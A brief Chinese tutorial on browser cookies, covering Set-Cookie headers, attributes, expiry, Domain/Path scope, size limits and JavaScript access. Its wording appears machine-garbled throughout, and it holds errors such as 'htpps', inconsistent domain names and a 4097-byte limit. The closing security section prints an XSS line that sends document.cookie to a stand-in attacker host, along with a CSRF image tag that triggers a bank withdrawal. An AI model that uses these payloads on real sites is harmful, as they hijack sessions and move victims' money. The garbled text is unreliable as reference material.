目次
- 建立
- 构成
- 生命周期
- 作用域
- 存储大小
建立Cookie
当服务器收到HTTP要求时,服务器能够在相应头内里增加一个Set-Cookie选项。
浏览器收到相应后通常会保存下Cookie,
以后对该服务器每一次要求中都经由过程Cookie要求头部将Cookie信息发送给服务器。
别的,Cookie的逾期时刻、域、途径、有效期、实用站点都能够根据须要来指定。
服务器运用Set-Cookie相应头部向用户代办(平常是浏览器)发送Cookie信息。一个简朴的Cookie能够像如许:
Set-Cookie: <cookie名>=<cookie值>
response.setHeader('Set-Cookie', ['type=ninja','username=123qad', 'language=javascript']);
构成
- Name
- Value
- Domain
- Path
- Expires/ Max-Age 逾期时刻
- Size
- Http
- Secure 是不是加密,标记为Secure 只会经由过程 htpps 协定传输, http 是不能设置的
- SameSite
生命周期
默许是浏览器封闭就清掉, 平常会设置 指定逾期时刻(Expires)或许有效期(Max-Age)
须要注重的是,有些浏览器供应了会话恢复功用,这类情况下纵然封闭了浏览器,会话期Cookie也会被保存下来,就好像浏览器从来没有封闭一样。
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
作用域
Domain (域名)和 Path 标识定义了Cookie的作用域:即Cookie应当发送给哪些URL。
Cookie 的Domain 属性能够设置 Cookie 发送哪些 url,默许是在当前域名下,但有时刻我们能够几个站点想同享Cookie 信息
比如 qq空间(qq.tentxun.com)上岸了,我想点进 qq 邮箱(mail.tenxun.com), 那假如再上岸一次,用户爸爸一定受不了,所以经由过程设置
cookie 的 domain 为 “.tenxun.com”,从 qq空间点击链接 进入 qq 邮箱, qq邮箱 经由过程 cookie 信息,猎取用户信息,就能够不必再次上岸了
假如设置 Domain=mozilla.org,则Cookie也包含在子域名中(如developer.mozilla.org)。
存储大小
4097个字节, 多了浏览器会默默删掉
javascript 接见 Cookie
var cookie = document.cookie;
document.cookie = "username=tt";
安全问题
(new Image()).src = “http://www.evil-domain.com/steal-cookie.php?cookie=” + document.cookie;
<img src=”http://bank.example.com/withd…;amount=1000000&for=mallory”>